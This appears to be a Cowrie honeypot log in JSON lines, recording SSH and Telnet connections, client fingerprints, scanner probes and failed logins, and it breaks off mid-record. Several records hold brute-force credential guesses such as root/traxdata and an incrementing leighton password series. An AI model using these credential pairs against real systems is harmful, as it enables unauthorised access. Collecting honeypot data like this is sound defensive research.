{"eventid":"cowrie.session.connect","src_ip":"181.0.214.136","src_port":22013,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb36d303a069","protocol":"ssh","message":"New connection: 181.0.214.136:22013 (159.203.135.109:22) [session: bb36d303a069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:45:52.119367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:45:52.124476Z","src_ip":"181.0.214.136","session":"bb36d303a069","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:45:52.283475Z","src_ip":"181.0.214.136","session":"bb36d303a069","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"traxdata","message":"login attempt [root/traxdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:45:52.957440Z","src_ip":"181.0.214.136","session":"bb36d303a069","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":43670,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ce3f5839e6a","protocol":"ssh","message":"New connection: 103.75.183.219:43670 (10.17.0.5:22) [session: 5ce3f5839e6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:45:53.427942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:45:53.433318Z","src_ip":"103.75.183.219","session":"5ce3f5839e6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:45:53.678876Z","src_ip":"103.75.183.219","session":"5ce3f5839e6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:45:54.120757Z","src_ip":"181.0.214.136","session":"bb36d303a069","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2ws","message":"login attempt [root/1qaz2ws] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:45:54.436285Z","src_ip":"103.75.183.219","session":"5ce3f5839e6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:45:55.684429Z","src_ip":"103.75.183.219","session":"5ce3f5839e6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.32.235","src_port":50412,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b8588d9c9b5","protocol":"ssh","message":"New connection: 165.154.32.235:50412 (10.17.0.5:22) [session: 6b8588d9c9b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:45:57.224633Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000\\xfc\u0001\u0000\u0000\\xf8\u0003\u0003\\x83\\xb6\u065ci\"@\\xe17W\u0011s\\xae\\xda/\u0003\u0003Xx2\\xc8*\u0012O}v\\xc5\\xeaP?Q\\xaf _@\\x8a\\xde\\xf1\\x95p~md\u00929l\u0010\\xe1w\\xf0#\\xe3-eT\\x99\\xbfX\\x929&\u001f\\xfb+\u00004\u0328\u0329\\xc0/\\xc00\\xc0+\\xc0,\\xc0\t\u0000\\x9e\u0328\u032a\u00003\u0000=\u0000\u0016\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000\\xfc\u0001\u0000\u0000\\xf8\u0003\u0003\\x83\\xb6\u065ci\"@\\xe17W\u0011s\\xae\\xda/\u0003\u0003Xx2\\xc8*\u0012O}v\\xc5\\xeaP?Q\\xaf _@\\x8a\\xde\\xf1\\x95p~md\u00929l\u0010\\xe1w\\xf0#\\xe3-eT\\x99\\xbfX\\x929&\u001f\\xfb+\u00004\u0328\u0329\\xc0/\\xc00\\xc0+\\xc0,\\xc0\t\u0000\\x9e\u0328\u032a\u00003\u0000=\u0000\u0016\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:45:57.230525Z","src_ip":"165.154.32.235","session":"6b8588d9c9b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:45:57.234314Z","src_ip":"165.154.32.235","session":"6b8588d9c9b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.32.235","src_port":50414,"dst_ip":"10.17.0.5","dst_port":22,"session":"216d6fc1ea25","protocol":"ssh","message":"New connection: 165.154.32.235:50414 (10.17.0.5:22) [session: 216d6fc1ea25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:45:57.639942Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49754,"dst_ip":"10.17.0.5","dst_port":23,"session":"74b78a303a48","protocol":"telnet","message":"New connection: 192.119.13.58:49754 (10.17.0.5:23) [session: 74b78a303a48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:01.566880Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58982,"dst_ip":"10.17.0.5","dst_port":23,"session":"7698eaf5cb4f","protocol":"telnet","message":"New connection: 192.119.13.58:58982 (10.17.0.5:23) [session: 7698eaf5cb4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:04.009647Z"}
{"eventid":"cowrie.session.closed","duration":"18.2","message":"Connection lost after 18.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:15.850903Z","src_ip":"165.154.32.235","session":"216d6fc1ea25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.32.235","src_port":38340,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2e303370814","protocol":"ssh","message":"New connection: 165.154.32.235:38340 (10.17.0.5:22) [session: c2e303370814]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:16.054022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_7.4","message":"Remote SSH version: SSH-2.0-OpenSSH_7.4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:16.059083Z","src_ip":"165.154.32.235","session":"c2e303370814","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"b893695067f94c8d2ed92025b192c636","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","ext-info-c"],"keyAlgs":["ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: b893695067f94c8d2ed92025b192c636","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:16.265678Z","src_ip":"165.154.32.235","session":"c2e303370814","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:16.684984Z","src_ip":"165.154.32.235","session":"c2e303370814","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.32.235","src_port":38356,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce7a05503fb0","protocol":"ssh","message":"New connection: 165.154.32.235:38356 (10.17.0.5:22) [session: ce7a05503fb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:16.894793Z"}
{"eventid":"cowrie.client.version","version":"SSH-1.5-Server","message":"Remote SSH version: SSH-1.5-Server","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:16.901696Z","src_ip":"165.154.32.235","session":"ce7a05503fb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:16.907508Z","src_ip":"165.154.32.235","session":"ce7a05503fb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.4.14.170","src_port":50630,"dst_ip":"10.17.0.5","dst_port":22,"session":"f605bedb192f","protocol":"ssh","message":"New connection: 91.4.14.170:50630 (10.17.0.5:22) [session: f605bedb192f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:20.188583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:20.194007Z","src_ip":"91.4.14.170","session":"f605bedb192f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:20.309200Z","src_ip":"91.4.14.170","session":"f605bedb192f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"usertest","password":"usertest","message":"login attempt [usertest/usertest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:20.749458Z","src_ip":"91.4.14.170","session":"f605bedb192f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:21.853363Z","src_ip":"91.4.14.170","session":"f605bedb192f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":52246,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd03d3e1096e","protocol":"ssh","message":"New connection: 152.42.212.128:52246 (10.17.0.5:22) [session: cd03d3e1096e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:22.956696Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:22.961958Z","src_ip":"152.42.212.128","session":"cd03d3e1096e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:22.966164Z","src_ip":"152.42.212.128","session":"cd03d3e1096e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":36849,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef932d74356e","protocol":"telnet","message":"New connection: 186.195.16.41:36849 (159.203.135.109:23) [session: ef932d74356e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:24.352010Z"}
{"eventid":"cowrie.session.closed","duration":42.16107487678528,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:24.491516Z","src_ip":"192.119.13.58","session":"f114c141988a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":65071,"dst_ip":"159.203.135.109","dst_port":22,"session":"d82c27ad1801","protocol":"ssh","message":"New connection: 213.209.159.56:65071 (159.203.135.109:22) [session: d82c27ad1801]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:26.106348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:26.111591Z","src_ip":"213.209.159.56","session":"d82c27ad1801","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:26.205194Z","src_ip":"213.209.159.56","session":"d82c27ad1801","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leighton","password":"leighton","message":"login attempt [leighton/leighton] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:26.607785Z","src_ip":"213.209.159.56","session":"d82c27ad1801","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leighton","password":"leighton1","message":"login attempt [leighton/leighton1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:27.693508Z","src_ip":"213.209.159.56","session":"d82c27ad1801","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36894,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d2fc2b57b2c","protocol":"telnet","message":"New connection: 192.119.13.58:36894 (10.17.0.5:23) [session: 5d2fc2b57b2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:28.622968Z"}
{"eventid":"cowrie.login.failed","username":"leighton","password":"leighton123","message":"login attempt [leighton/leighton123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:28.778834Z","src_ip":"213.209.159.56","session":"d82c27ad1801","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leighton","password":"leighton1234","message":"login attempt [leighton/leighton1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:29.871439Z","src_ip":"213.209.159.56","session":"d82c27ad1801","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.08584666252136,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:30.401413Z","src_ip":"192.119.13.58","session":"d5ac67c3345a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44286,"dst_ip":"10.17.0.5","dst_port":23,"session":"8567c8a1307e","protocol":"telnet","message":"New connection: 192.119.13.58:44286 (10.17.0.5:23) [session: 8567c8a1307e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:30.637897Z"}
{"eventid":"cowrie.login.failed","username":"leighton","password":"leighton12345","message":"login attempt [leighton/leighton12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:30.956959Z","src_ip":"213.209.159.56","session":"d82c27ad1801","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:32.043725Z","src_ip":"213.209.159.56","session":"d82c27ad1801","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.32796239852905,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:37.081851Z","src_ip":"192.119.13.58","session":"252ce4717d40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44078,"dst_ip":"10.17.0.5","dst_port":23,"session":"33b6d88bd971","protocol":"telnet","message":"New connection: 192.119.13.58:44078 (10.17.0.5:23) [session: 33b6d88bd971]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:38.282270Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.219.184.142","src_port":49752,"dst_ip":"10.17.0.5","dst_port":22,"session":"9aeeef102f83","protocol":"ssh","message":"New connection: 186.219.184.142:49752 (10.17.0.5:22) [session: 9aeeef102f83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:42.187563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:42.192847Z","src_ip":"186.219.184.142","session":"9aeeef102f83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"me